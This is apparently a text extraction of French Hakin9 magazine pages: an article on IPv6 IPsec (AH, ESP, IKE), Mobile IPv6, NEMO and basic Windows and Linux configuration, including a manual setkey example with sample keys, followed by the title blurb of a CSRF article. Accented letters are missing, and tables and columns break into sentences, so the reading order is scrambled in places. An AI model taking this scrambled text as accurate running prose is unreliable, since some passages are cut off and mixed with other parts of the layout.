Paquet originel : IPv6 Paquet protg : IPv6 Option Headers Tte ESP Option Headers

Ces 2 modes oprationnels sont rsums dans la Figure 7. On prcise que dans cette figure la protection est symtrique, ce qui nest pas forcment le cas, les associations de scurit tant unidirectionnelles.

Payload

Option Headers chiffr Autentifi

Payload

Queue ESP

Mode Transport
En mode Transport lextension ESP est insre de la mme manire que lextension AH, aprs lentte IPv6 et avant les enttes de niveau transport (TCP, UDP). ESP tant galement vue comme une extension dentte traite de bout en bout de la communication, celle-ci apparat aprs les extensions dentte Hop-By-Hop Option Header, Routing Header et Fragment Header. Lextension dentte Destination Options Header est quant elle place indiffremment avant ou aprs.
14 HAKIN9 3/2009

Figure 5. ESP en mode transport


Paquet originel : IPv6 Paquet protg : Nouvel entte IPv6 Tte ESP IPv6 originel Option Headers 2 chiffr Autentifi Payload Queue ESP Option Headers Payload

Figure 6. ESP en mode tunnel

IPV6
lors dun changement de domaine. Les adresses IP originelles continuent dtre utilises lors des communications. De mme les sessions TCP peuvent ainsi rester fonctionnelles lors dun dplacement entre domaines. IPv6 intgre ce concept dans le protocole MIPv6 (Mobile IPv6).

Protection ESP, mode tunnel Section non protge Protection ESP, mode transport

Concepts
Avant de poursuivre il sagit de dfinir les mots cls principaux usits par MIPv6. Rseau Mre : Rseau auquel la machine appartient initialement, Nud correspondant : machine dialoguant avec le mobile, Home Address : Adresse IPv6 dans le rseau mre, Care-of Address : Adresse IPv6 dans le rseau visit, Agent Mre : Machine du rseau mre servant dinterface entre le mobile et le nud correspondant.

Figure 7. Topologies ESP

IKE (Internet Key Exchange)


Il a t prcdemment indiqu quAH et ESP ncessitaient des cls de chiffrements par le biais des associations de scurit. Cette gestion des cls peut donc tre manuelle; mais dans un environnement consquent, une telle gestion devient irralisable. De plus, cette mthode implique une dfinition totalement statique des associations de scurit et un nonrenouvellement des cls. Le protocole IKE a donc t dvelopp pour une gestion automatique des associations de scurit, en particuliers des cls ainsi que des algorithmes usiter. IKE fait appel aux lments suivants : un protocole de gestion des associations de scurit, ISAKMP (Internet Security Association and Key Management Protocol), dfinissant des formats de paquets pour crer, modifier et dtruire des associations de scurit. Ce protocole sert galement de support pour l'change de cls prconis par les protocoles de gestion de cls. Il assure aussi l'authentification des partenaires d'une communication, un protocole d'change de cls de session bas sur SKEME et Oakley qui repose sur la gnration de secrets partags Diffie-Hellman, un domaine d'interprtation ou DOI (Domain of Interpretation) qui dfinit tous les paramtres propres l'environnement IPsec, savoir les protocoles d'changes de cls, les paramtres d'associations de scurit ngocier , les cls utiles lors de l'authentification mutuelle des quipements IPsec qui intervient en pralable toute ngociation d'association de scurit.

Ces cls peuvent tre des cls partages Public Key Infrastructure). A lheure actuelle 2 versions cohabitent, IKEv1 trs complexe et IKEv2 qui en est une version simplifie pour sa mise en uvre ainsi que par son mcanisme.

Mobilit de Machines : MIPv6

En termes de mobilit on distingue 2 mcanismes principaux : la micro-mobilit et la macro-mobilit. La micro-mobilit est celle utilise entre autre par le wifi. Les entits en cours de dplacement se rassocient des stations de base et conservent leur possibilit de connectivit au sein dun domaine. Cette gestion des handovers est relativement fine et limite la signalisation au sein du rseau. Ces mcanismes sont cependant peu efficaces au sein de plusieurs domaines. En effet les adresses IP sont dans ce dernier cas rengocies pour mapper au domaine et pouvoir ainsi tre routable. La macro-mobilit rsout ce problme en conservant une connectivit IP mme

MIPv6 utilise intensivement la notion de tunnels. Schmatiquement, les paquets transmis par le mobile dans un rseau tranger passent par lAgent Mre prsent dans le rseau mre, avant dtre retransmis au Nud correspondant. Le chemin de retour est identique. Le routage sous-jacent apporte le paquet jusqu lAgent Mre qui le retransmet au mobile dans son rseau visit. Lagent mre doit galement tout moment tre capable de localiser ses mobiles en dplacement. Il utilise pour cela un cache baptis Binding Cache associant Home Address et Care-of Address de ses diffrents mobiles. Un mcanisme de signalisation protg par IPsec en mode ESP
Mobile

(Home Address, Care-of Address)

Rseau Visit
(Prfixe : Care-Of)

Correspondant Rseau Mre


(Prfixe : Home)

Section protge Section non protge Agent Mre Tunel ESP

Figure 8. Communication MIPv6 Basique sans optimisation


3/2009 HAKIN9 15

DOSSIER
est par consquent usit pour mettre jour ce cache. Il ne sera pas fait tat des paquets MIPv6 ici, il sagit simplement de savoir que cette mise jour seffectue laide de paquets particuliers nomms Binding Update. Ceux-ci sont gnralement acquitts par lAgent Mre par des Binding Acknowledgment. Lensemble des mcanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modle TCP/IP. Ils ont t models pour permettre une communication avec des entits nayant pas conscience des protocoles de mobilit. Ils n'ont aucun impact sur les couches de niveau transport et applicative. Pour le correspondant cette communication est totalement transparente. destination est celle du correspondant. Le paquet parvient lAgent Mre, qui vrifie son authentification, le dchiffre, le dsencapsule et le retransmet sur le rseau. Le correspondant pourra y rpondre de manire symtrique. Cette rponse sera capture par lAgent Mre, chiffre et authentifie avant dtre retransmise au mobile dans le tunnel ESP. En cas dun dplacement en cours de communication le binding cache aura t mis jour permettant lAgent mre de retrouver son mobile. La Figure 8 positionne ces diffrentes entits dans un contexte MIPv6.

Optimisations de routes
Les changes entre mobiles et correspondants ntant pas toujours les plus optimums en matire de routage, MIPv6 intgre un mode doptimisation pour les correspondants intgrant des

Table 1. Rle des diffrents champs de lextension dentte AH Champs Next Header Taille 8 bits Rle Dcrit lentte de la couche immdiatement suprieure ou la prochaine extension dentte. Similaire au champ Protocol en IPv4. Spcifie la longueur -2 en mots de 32 bits de lextension dentte AH. Positionn 0. Security Parameters Index utilis par le rcepteur pour trouver lassociation de scurit utiliser. Compteur incrment chaque paquet. Permet en particulier de dtecter le rejeu. Integrity Check Value. Destin la validation de lintgrit du paquet. Doit tre un multiple de 32 bits. Utilis pour des besoins dalignement dentte. Sa taille est telle que lextension dentte AH est un multiple de 64 bits (32 bits pour IPv4).

Mobilit de Machines : MIP6


Le mobile situ dans son rseau mre utilise sa Home Address pour dialoguer avec des Nuds correspondants de manire classique. Lorsquil se dplace dans un rseau visit la procdure est la suivante : Le mobile obtient une nouvelle adresse IP par combinaison de son adresse MAC et du nouveau prfixe rseau, la Care-of Address. Il dispose toujours de sa Home Address, Le mobile transmet un Binding Update lagent mre afin de mettre jour son cache dassociation. Ce paquet tant protg par IPsec en mode ESP, lauthentification, lanti-rejeu, la Lagent mre aura alors charge de capturer les paquets auparativement transmis au mobile. II utilise dans cette optique les possibilits offertes par le protocole de dcouverte des voisins (Neighbor Discovery) en annonant son adresse MAC comme destinataire de lensemble des paquets unicast destination du mobile. Les caches NDP des machines prsentent sur le lien mre seront ainsi remis jour, Lorsque le mobile souhaite dialoguer avec un nud correspondant il peut choir dutiliser son nouvel adressage, ou de masquer sa mobilit par lutilisation de sa Home Address. Dans ce dernier cas il construit un tunnel ESP avec son Agent Mre et encapsule les paquets destination de son correspondant. Ladresse source de la partie interne est ainsi la Home Address, ladresse
HAKIN9 3/2009

Payload Len RESERVED SPI Sequence Number ICV Padding

8 bits 16 bits 32 bits 32 bits Variable Selon Variable

Table 2. Construction de lentte IPv6 extrieure pour AH en mode tunnel Champs de lentte IPv6 Version DS ECN Flow Label Payload Length Next Header Hop Limit Source Address Destination Address Extensions Headers Entte Extrieur Positionn la valeur 6. Copi depuis lentte intrieur. Copi depuis lentte intrieur. Copi depuis lentte intrieur ou configur. Construit. Positionn la valeur de AH (51) Construit. Construit. Construit. Jamais copi mais peut apparatre en postambule. Entte Intrieur Aucune modification. Aucune modification. Positionn 0. Aucune modification. Aucune modification. Aucune modification. Dcrment dune unit Aucune modification. Aucune modification. Aucune modification.

16

IPV6

3/2009 HAKIN9

17

DOSSIER
Mobile Agent Mre Correspondant HoTI GoTI Protection HoT GoT Binding Update Binding Update Donnes Sans protection

la Care-Of Address du mobile. Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera loption Routing Header de type 2 remplie avec la Home Address. Le paquet parviendra donc au mobile qui changera pralablement ladresse de destination avec la Home Address. Le paquet remontera donc galement dans les couches de manire totalement transparente.

Figure 9. Return Routability Procdure fonctions spcifiques. Il sagit de supprimer simplement la passerelle occasionne par lAgent Mre. Pour cela MIPv6 dfinit 2 nouvelles options : Routing Header de type 2 : qui est simplement une extension dentte Routing Header contenant la Home Address du mobile Home Address Option : qui est une sous-option de lextension dentte Destination Option Header trait uniquement par le rcepteur du paquet. Le paquet subira le routage classique entre le mobile et le correspondant, remontera dans la pile MIPv6 de ce correspondant qui changera Care-of Address du champ adresse source et Home Address prsentes dans loption Home Address Option. Pour la pile IPv6, le paquet sera transparent comme provenant directement du mobile depuis son rseau Mre. Dans le cas o ce paquet est protg par IPsec, les vrifications seront donc bases sur ladresse mre. Avant de rpondre, le correspondant cherchera dans sa table dassociation

Ce mcanisme donne donc des trajectoires optimums en matire de routage et permet de limiter les contraintes en matire dingress et doutgress filtering. Ce mcanisme de mise jour d'association pose cependant d'importants problmes en matire de scurit. En effet, il est ais de protg les changes de signalisation entre le mobile et l'agent mre du fait de la relation administrative qui

Return Routability procdure


Cette procdure est destine la protection partielle des associations de scurit entre mobile et correspondant dans le cas de loptimisation de route. Elle repose sur une utilisation de 4 messages principaux : HoTI : Home Test Init , CoTI : Care-of Test Init,

Lorsqu'un correspondant supporte l'optimisation de routage, il maintient tout comme l'Agent Mre une table des associations pour tous les mobiles avec lesquels il est en communication. Une vrification axe autour dICMPv6 est pralable avant toute optimisation. Le principe est alors assez proche de celui usit avec lAgent Mre : Le mobile en dplacement transmet un Binding Update au correspondant pour lui faire tat de sa nouvelle localisation aprs en avoir fait de mme son Agent Mre. Ce correspondant mettra alors jour son Binding Cache. Lorsque le mobile veut transmettre un message au correspondant, il utilise en adresse source sa Care-of Address mais ajoute loption Home Address Option.
HAKIN9 3/2009

Figure 10. Commande netsh show sous Windows XP

18

IPV6
HoT : Home Test , CoT : Care-of Test. empruntent des chemins distincts. Dans le cas contraire il lui serait ais de calculer Kbm et de gnrer des faux messages dassociation. Cette coute nest pas faisable dans le rseau visit puisque les changes entre Agent Mre et mobile sont chiffrs. Pratiquement cette attaque est aise dans le rseau du correspondant mais celle-ci nest pas value comme tant plus risque que celles que lon peut retrouver dans un contexte sans mobilit par simple IPspoofing, NDP spoofing Afin de rduire les risques, les nonces ainsi que la cl Kcn sont rgulirement mis jour.

Les correspondants intgrant loptimisation de route doivent pralablement disposer de nonces ainsi que dune cl secrte note Kcn. La procdure usite est la suivante : un message HoTI est mis depuis la Home Address du mobile vers le correspondant via l'agent mre. Il contient une valeur alatoire sur 64 bits, le Home Init cookie, paralllement un message CoTI est mis depuis la care-of address du mobile, directement vers le nud correspondant. Celui-ci contient une seconde valeur alatoire sur 64 bits, le Care-of Init cookie, en rponse au message HoTI, un message HoT, est mis par le correspondant destination de la Home Address du mobile via l'Agent Mre. Ce paquet contient entre autre lindex dun nonce choisi par le correspondant ainsi quun Home Keygen token calcul par : premier
(64, HMAC _ SHA1 (Kcn, (home address | nonce | 0 )))

Mobilit de Rseaux : NEMO


MIPv6 gre la mobilit d'un hte tandis que NEMO assure la mobilit d'un rseau IPv6 entier, appel rseau mobile. Dans le cas de NEMO, la complexit est centralise sur un quipement ddi : le routeur mobile. Ainsi, chaque mouvement (lorsque le rseau mobile se dplace d'un rseau d'accs vers un

Table 3. Rle des diffrents champs de lextension dentte ESP Champs SPI Sequence Number IV Taille 32 bits 32 bits Variable Selon lalgorithme usit Variable Variable Rle Security Parameters Index utilis par le rcepteur pour trouver lassociation de scurit utiliser. Compteur incrment chaque paquet. Permet en particulier de dtecter le rejeu. Vecteur dinitialisation ventuel pour les algorithmes de chiffrement. Traffic Flow Confidentiality. Utilis pour une protection contre les attaques statistiques. Utilis pour des besoins dalignement dentte. Sa taille est telle que lextension dentte ESP est un multiple de 64 bits (32 bits pour IPv4). Indique la taille du champ Padding en octets. Dcrit lentte de la couche immdiatement suprieure ou la prochaine extension dentte. Similaire au champ Protocol en IPv4. Integrity Check Value. Destin la validation de lintgrit du paquet. Doit tre un multiple de 32 bits.

TFC Padding Padding

Pad Length Next Header

8 bits 8 bits

de mme, en rponse au message CoTI, un message CoT est mis par le correspondant vers la Careof Address du mobile. Ce paquet contient entre autre lindex dun autre nonce choisi par le correspondant ainsi quun Home Keygen token calcul par : premier (64,
HMAC _ SHA1 (Kcn, (care-of address | nonce | 0 )))

ICV

Variable Selon lalgorithme usit

Table 4. Construction de lentte IPv6 extrieure pour ESP en mode tunnel Champs de lentte IPv6 Version DS ECN Flow Label Payload Length Next Header Hop Limit Source Address Destination Address Extensions Headers Entte Extrieur Positionn la valeur 6. Copi depuis lentte intrieur. Copi depuis lentte intrieur. Copi depuis lentte intrieur ou configur. Construit. Positionn la valeur de ESP (50) Construit. Construit. Construit. Jamais copi mais peut apparatre en postambule. Entte Intrieur Aucune modification. Aucune modification. Positionn 0. Aucune modification. Aucune modification. Aucune modification. Dcrment dune unit Aucune modification. Aucune modification. Aucune modification.

A lissue de ces diffrentes tapes, le mobile calcule une cl note Kbm :


Kbm = SHA1 ( "home keygen token" | "care-of keygen token")

La Figure 9 prsente le cheminement de ces diffrents messages au travers de lInternet. Cette cl sera utilise lors de la mise jour des associations pour authentifier le mobile par le calcul dun HMAC. Cette procdure repose sur lhypothse forte quaucun espion ncoute la fois les messages CoT et HoT qui normalement

3/2009 HAKIN9

19

DOSSIER
autre) est transparent pour l'ensemble des htes IPv6 du rseau mobile. Un hte IPv6 standard peut ainsi bnficier d'une connectivit permanente au sein d'un rseau mobile sans avoir toutefois besoin de protocoles additionnels. NEMO, coupl avec certaines extensions, gre notamment la mobilit des rseaux IPv6, la est activ par dfaut. Sous XP ou Server 2003, il vous faudra lactiver au pralable. Selon les versions de Windows les mcanismes disponibles sont plus ou moins complets. La mobilit IPv6 ne prend en compte que la partie correspondant ; ni Home Agent ni Nud Mobile ne sont disponibles ; Sous Windows XP et Server 2003, IPsec pour IPv6 offre les mcanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cls nest pas disponible. Seul Vista et Server 2008 offrent ces fonctionnalits. Vista et Server 2008 permettent une utilisation de DHCPv6.

Activation de la pile IPv6 & Configuration des Adresses


Ce besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par dfaut dsactive. Cette activation se fait par le biais de loutil ipv6.exe sous Windows XP o de la commande netsh disponible sur toutes les versions. Sous Windows XP, il sagit dexcuter :
ipv6 install

Pratique & Mise En uvre

La majeure partie des Systmes dexploitation, des softwares des quipements rseaux actuels disposent dun support IPv6. Vous pourrez le vrifier sur le site de lIPv6 Ready Logo Committee, programme mondial de certification IPv6. Vous obtiendrez sur ce site le dtail des implmentations actuellement certifies et vous pourrez aisment y constater limportant retard de lEurope. Les infrastructures rseaux europennes ont galement accumules un retard considrable dans cette migration Et pourtant les rseaux de lenseignement et de la recherche proposent depuis dj plusieurs annes un support Natif dIPv6 voir du multicast IPv6. Heureusement quelques ISP (Internet Service Provider), tels que Free, offrent depuis quelques mois un adressage IPv6. Ce paragraphe a pour objectif de vous faire apprhender la mise en uvre basique dIPv6 sur les principaux systmes usits, savoir Windows et Linux. On suppose que vous disposez dores et dj dun adressage IPv6 parce que vous tes par exemple dans une des situations prcdemment voques. On rappelle que les Internet IPv4 et IPv6 sont bien distincts mme si une utilisation des machines en double pile permet la superposition de certaines portions. Dans le cas contraire, si vous dsirez plus quun rseau local, il vous faudra utiliser un des mcanismes de transition dcrit dans larticle prcdent. Nous vous conseillons prfrentiellement un tunnel broker et en second choix un tunnel 6to4.

Bien entendu les interfaces concernes doivent accepter la connectivit TCP/IPv6 dans le menu Proprits adquat. Une adresse Lien-locale associe chacune de vos carte rseau sera

Figure 11. Ping6 www.google.fr

Avec Windows
La majeure partie des versions courantes de Windows disposent dun support IPv6 : Vista, XP SP1, XP SP2, Server 2003, 2008. Sous Vista et Server 2008 ce support
20 HAKIN9 3/2009

Figure 12. Dchiffrement IPsec avec Wireshark

IPV6

3/2009 HAKIN9

21

DOSSIER
alors automatiquement configure par concatnation du prfixe fe80 et de votre identifiant dinterface dfini depuis ladresse MAC associe. Les interfaces relies un rseau IPv6 constitu dun routeur annonant des Router Advertisement, obtiendront de mme automatiquement une adresse globale unicast, unique, routable et contenant ladresse MAC de linterface concerne. La commande ipconfig /all (ou netsh show) vous prouvera votre connectivit. La figure 10 vous montre une telle configuration sous Windows XP. Vous constaterez galement une adresse supplmentaire, qualifie de Temporaire. Il sagit en fait dune adresse globale, de dure de vie relativement courte destine au masquage de ladresse MAC (disponible depuis le SP2). Au besoin vous pourrez la dsactiver par :
ipv6 p gpu useTemporaryAddresse no

Netsh (et/ou ipv6.exe sous Windows XP). Hormis celles prcdemment dfinies, les commandes essentielles sont indiques dans le Tableau 5.

Accs Web en IPv6


Classiquement en IPv4, les URLs (Uniform Resource Locator) utilises dans les accs HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System). Avant toute requte ladresse du serveur HTTP est donc gnralement

pralablement traduite par le biais des serveurs DNS. Avec IPv6, il en est de mme, le browser dans un premier temps recherche lensemble des adresses IP associes au serveur HTTP. Si celui-ci dispose dune adresse IPv6, il tentera dans un premier temps de le joindre par IPv6. En cas dchec, cest le protocole IPv4 qui sera utilis. Nous rappelons quil nest pas indispensable que le serveur DNS soit adress en IPv4 pour retourner des adresses IPv6.

Table 5. Les commandes essentielles IPv6 sous Windows Commande Netsh


netsh interface ipv6 show interface netsh interface ipv6 set interface [[interface=]String] [[forwarding=]{enabled | disabled}] [[advertise=]{enabled | disabled}] [[mtu=]Integer] [[siteid=]Integer] [[metric=]Integer] [[store=]{active | persistent}]

Rle Affiche les interfaces IPv6 Permet dactiver le forwarding des interfaces, les annonces de Router Advertisement

Connectivit, chemin
Lorsque vous disposerez dune adresse routable ou simplement pour tester la connectivit entre deux machines, vous pourrez utilisez la commande ping6 qui est le pendant de ping pour IPv4. Cette commande gnre un ensemble de paquets ICMPv6 Echo Request et affiche les rponses associes ICMPv6 Echo Reply. La Figure 11 montre un tel ping6 sur www.google.fr dsormais adressable en IPv6. Les paquets rsultants de cette commande sont galement indiqus par capture du trafic avec Wireshark. En IPv4, pour connatre le trajet suivi par les paquets, on utilise gnralement la commande tracert. En IPv6, il sagit dsormais de tracert6

netsh interface ipv6 add address [[interface=]String] [address=]IPv6Address [[type=]{unicast | anycast}] [[validlifetime=]{Integer | infinite}] [[preferredlifetime=]{Integer | infinite}] [[store=]{active | persistent}] netsh interface ipv6 show bindingcacheentries

Permet dajouter des adresses IPv6 aux interfaces

Affiche le Binding cache utilis par MIPv6 Affiche les routes IPv6 Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 show routes [[level=]{normal | verbose}] [[store=]{active | persistent}]

netsh interface ipv6 add route [prefix=]IPv6Address/Integer [[interface=]String] [[nexthop=]IPv6Address] [[siteprefixlength=]Integer] [[metric=]Integer] [[publish=]{no | yes | immortal}] [[validlifetime=]{Integer | infinite}] [[preferredlifetime=]{Integer | infinite}] [[store=]{active | persistent}] netsh interface ipv6 renew [[interface=]String]

Permet la rinitialisation des adresses IPv6

Table 6. Commandes principales pour la configuration dIPv6 sous linux Commande ip


ip -6 address show [dev <priphrique>] ip -6 addr add <adresseipv6>/ <longueurduprfixe> dev <interface> ip -6 route add <rseauipv6>/ <longueurduprfixe> via <adresseipv6> [dev <priphrique>] ip -6 neigh add <adresseIPv6> lladdr <adressedelacouche-lien> dev <priphrique>

Cache des voisins (NDP Cache)


La rsolution MAC/Adresse en IPv4 donne naissance au cache ARP obtenu par arp an par exemple. En IPv6, il sagit dsormais du cache NDP qui peut tre obtenu par :
ipv6 nc , ou netsh interface ipv6 show neighbors.

Rle Affiche les adresses IPv6 Ajoute une adresse IPv6 Affiche les routes IPv6 Ajoute une route IPv6 Affiche les voisins NDP Ajoute un voisin NDP

ip -6 route show [dev <priphrique>]

Diverses Commandes
Lensemble des configurations essentielles IPv6 sous Windows seffectuent laide de
22 HAKIN9 3/2009

ip -6 neigh show [dev <priphrique>]

IPV6
A lheure actuelle la majeure partie des navigateurs supporte IPv6 par dfaut, Firefox, Internet Explorer A titre dexemple vous pourrez vous connecter sur www.kame.net. Si vous disposez dun accs extrieur IPv6 ainsi que dun browser compatible vous devriez voire en premire page une tortue anime. Le cas chant celle-ci sera fixe. Avec IPv6, les adresses tant 4 fois plus longues, les URLs contenant des IPs devraient encore moins se pratiquer. Cependant ceci reste possible et pour diffrencier les :: de ladresse avec la section port de lURL, il faut entourer lIP de [ ]. (Exemple : http://[2001:4860:a003::68] pour accder google en IPv6). Le systme Linux tant lun des mieux documents, si lune des options vous manque vous pouvez toujours utiliser la commande man (exemple : man 8 ip). En dernier point il vous faudra peut-tre activer un protocole de routage intradomaine (Ripng, OSPfv3) voir interdomaine (Is-Is, BGP-4+).

Mise en uvre mode routeur


Afin de mettre en place un routeur et/ou une passerelle vous devez activer le forwarding entre les diffrentes interfaces rseaux. Ceci peut tre ralis par le biais de fichiers de configuration spcifiques chaque distribution (gnralement sous larborescence /etc/sysconfig/network) ou directement par dialogue avec le Kernel. Ce dialogue est temporaire et chaque reboot, il sera rinitialis (sauf utilisation de script de dmarrage, gnralement /etc/ rc.local). Il se ralise par des appels la commande sysctl ou par criture dans les fichiers propres au kernel. Il sagit sous IPv6 de larborescence /proc/sys/net/ipv6. Le fait dcrire 1 dans le fichier /proc/sys/net/ipv6/conf/all/ forwarding activera le forwarding entre toutes les interfaces. Au besoin, le contrle du forwarding par interface doit tre ralis en utilisant les jeux de rgles de netfilterIPv6 ( laide dip6tables) en spcifiant les priphriques d'entre et de sortie. Il vous faudra certainement en plus activer les Router Advertisements afin de permettre aux machines prsentes sur le lien de sautoconfigurer. Ces paquets sont gnrs suite au dmarrage du dmon radvd. Ce dmon utilise un fichier de configuration prsent gnralement dans /etc/radvd.conf. Ce fichier stipule les principaux paramtres des Router Advertisements, savoir : le prfixe, la dure de vie du prfixe, la frquence des envois d'annonce,

Commandes et outils principaux


Les commandes principales disponibles sous Linux sont quivalentes celle prcdemment voques pour Windows. Les principales sont les suivantes :
ping6 (Packet INternet Grouper) :

pour diagnostiquer la connectivit rseau. (Exemple : ping6

Avec Linux
Quelle que soit la distribution contemporaine utilise, celle-ci contient IPv6. Vous pourrez nanmoins tester la prsence de son support dans le noyau par vrification de la prsence du chemin : /proc/net/if_inet6. Le module IPv6 doit galement tre charg avant toute utilisation. Un appel lsmod vous le confirmera.

donnera lensemble des interfaces prsentes sur le lien-local, traceroute6 : pour dtecter le chemin emprunt par les paquets, tracepath6 : similaire au traceroute6, trace le chemin vers une destination donne tout en dcouvrant la MTU le long de ce chemin, nslookup, host : utiles pour la rsolution DNS en v4 ou v6.

[-I <priphrique>] FF02::1 vous

Activation de la pile IPv6 & Configuration des Adresses


Sous Linux lensemble des configurations IPv6 peut tre ralis laide des anciennes commandes ifconfig, netstat Depuis les noyaux au moins suprieur au 2.4, le sous-systme rseau a t compltement rcrit. Liproute2 tend ainsi grandement les possibilits et centralise les configurations rseaux. La commande principale est ip. Le Tableau 6 prsente donc quelques une des options principales pour configurer Ipv6. Table 7. Rfrences Lien http://livre.point6.net/index.php http://ipv6ready.org http://www.deepspace6.net/docs/ipv6_ status_page_apps.html http://mirrors.deepspace6.net/Linux+IPv6HOWTO-fr/ http://www.linux-france.org/prj/inetdoc/ guides/Advanced-routing-Howto/ http://wiki.wireshark.org/ESP_Preferences

Lensemble des outils classiques rseaux disponibles sur Linux a t adapt IPv6 : ssh, telnet, ftp, netcat, nmap Le firewall iptable classique dispose galement dune variante baptise ip6table pour IPv6.

Mise en uvre dIPsec


La pile IPsec est maintenant intgre en natif sur les noyaux 2.5.47 et suprieurs ; les versions infrieures ncessitaient linstallation de piles spcifiques style FreeS/WAN ou celle du projet japonais USAGI. Limplmentation actuelle repose dailleurs sur celle du projet USAGI. Elle peut cependant ne pas tre active par dfaut pour IPv6 ; il vous faudra donc potentiellement relancer pralablement une compilation du noyau et y activer AH, ESP voir IPComp (Compression de charge IP). La configuration des politiques IPsec ainsi que des cls et algorithmes en mode partag seffectue laide de loutil setkey, drivant du projet KAME et fournie avec le package ipsec-tools. Si vous choisissez un mode de configuration automatique des associations de scurit, il vous faudra user dun outil supplmentaire, racoon ou racoon2 selon la version dIKE choisie.
3/2009 HAKIN9 23

Titre IPv6 Thorie et Pratique - Gisle Cizault Site de lIPv6 Ready Logo Committee Statut des applications rseaux supportant IPv6 HOWTO IPv6 pour Linux HOWTO du routage avanc et du contrle de trafic sous Linux Le module de dchiffrement et dauthentification ESP pour Wireshark

DOSSIER
Par simplification nous choisirons un mode manuel de gestion des associations de scurit.
3ffe::2 : par ESP (Chiffrement :

aes-cbc, cl : aescbcencryption ; Authentification : hmac-sha1, cl : hmacsha1authenticati ; SPI : 10); 3ffe::3 : par ESP (Chiffrement : 3descbc, cl : 3descbcencryptiontesting ; Authentification : hmac-sha1, cl : hmacsha1authenticati ; SPI : 11)

Chacune de ces diffrentes machines devra donc tre configure pour prendre en compte ce paramtrage IPsec. Ceci Table 8. Liste des RFCs relatives IPv6 Norme RFC 2403 RFC 2404 RFC 2405 RFC 2409 RFC 2451 RFC 3566 RFC 3602 RFC 3686 RFC 3775 RFC 3776 RFC 3963 RFC 4109 RFC 4301 RFC 4302 RFC 4303 RFC 4306 RFC 4307 RFC 4385 RFC 4835 RFC 4877 RFC 4885 RFC 4886 RFC 4887 RFC 4888 RFC 4889
24 HAKIN9 3/2009

peut se raliser par dfinition dun fichier de configuration nomm par exemple setkey.conf utilisant le format suivant (Listing 1). Si lon considre 3ffe::1, Il faut donc dans un premier temps dfinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe:: 2 et 3ffe::3 soit protg par Ipsec (Listing 2). Dans un second temps il faut indiquer les SPI, les cls ainsi que les algorithmes utiliser au niveau de la SAD (Listing 3). Bien entendu, 3ffe::2 et 3ffe:: 3 doivent comporter les SPDs et SADs correspondantes afin que toute trafic reu

puisse tre authentifi et dchiffr. La configuration de ces diffrents lments sur 3ffe::2 sera donc proche de Listing 4. Ainsi tout trafic provenant de 3ffe::1 sera protg par ESP en mode transport avec les cls et algorithmes dfinies. Afin dactiver ces paramtres il vous faudra utiliser setkey : setkey f
setkey.conf

Titre The Use of HMAC-MD5-96 within ESP and AH The Use of HMAC-SHA-1-96 within ESP and AH The ESP DES-CBC Cipher Algorithm With Explicit IV The Internet Key Exchange (IKE) The ESP CBC-Mode Cipher Algorithms The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec The AES-CBC Cipher Algorithm and Its Use with IPsec Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP) Mobility Support in IPv6 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents Network Mobility (NEMO) Basic Support Protocol Algorithms for Internet Key Exchange version 1 (IKEv1) Security Architecture for the Internet Protocol IP Authentication Header IP Encapsulating Security Payload (ESP) Internet Key Exchange (IKEv2) Protocol Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2) Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authentication Header (AH) Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authentication Header (AH) Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture Network Mobility Support Terminology Network Mobility Support Goals and Requirements Network Mobility Home Network Models Network Mobility Route Optimization Problem Statement Network Mobility Route Optimization Solution Space Analysis

Vous remarquerez que seuls les changes depuis 3ffe::1 vers 3ffe: :2 ainsi que ceux depuis 3ffe::1 vers 3ffe::3 sont protgs. La rciproque nest pas vraie ; par exemple les paquets provenant de 3ffe::2 vers 3ffe::1 ne sont en aucun cas protgs. Vous pouvez ds prsent vrifier ces assertions par un ping depuis 3ffe::1 vers 3ffe::3. Les Echo Request doivent tre protgs par IPsec tandis que les Echo Reply circuleront en clair. Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP intgr permettant le dchiffrement des paquets.

Conclusion

Au travers de ces diffrents articles vous avez pu vous initier aux divers mcanismes principaux composant IPv6. Ces mcanismes sont relativement nombreux, la modification de la couche rseau ncessite en effet beaucoup d'adaptation. IPv6 est un protocole mature, ses premires bases ont t normalises en 1998, et n'ont cesse d'tre raffine depuis par l'IETF. La majeure partie des systmes d'exploitation permettant actuellement de mettre en uvre ce protocole; le nombre d'adresses IPv4 allouable tant presque puis, la transition est inluctable c'est donc ds maintenant qu'il s'agit de se familiariser avec ses concepts, sa mise en uvre et les nouvelles opportunits offertes par IPv6.

Rfrences
Vous trouverez dans les Tableaux 7 et 8, les rfrences, normes ainsi que des liens Web o vous obtiendrez des renseignements complmentaires sur les divers mcanismes voqus travers cet article. Frederic Roudaut

Il travaille actuellement chez Orange Labs (anciennement France Telecom R&D) Sophia Antipolis pour le compte dOrange Business Services IT&Labs depuis 1 an et demi.

IPV6

3/2009 HAKIN9

25

PRATIQUE
AMAR PAUL

Les Failles CSRF,


Quels sont les risques ?
Degr de difficult

Les failles Cross-Site Request Forgeries ou communment appeles CSRF ou encore XSRF restent un vecteur d'attaque trs mconnu par rapport d'autres vulnrabilits Web tels que les Injection SQL.

CET ARTICLE EXPLIQUE...


Le principe des failles CSRF, leur utilisation, mais aussi le moyen de scuriser son site web pour prvenir les utilisateurs de ces risques.

CE QU'IL FAUT SAVOIR...


Notions en PHP, (x)HTML, ainsi que les vulnrabilits Web telles que les XSS (Cross-Site Scripting.) 26 HAKIN9 3/2009

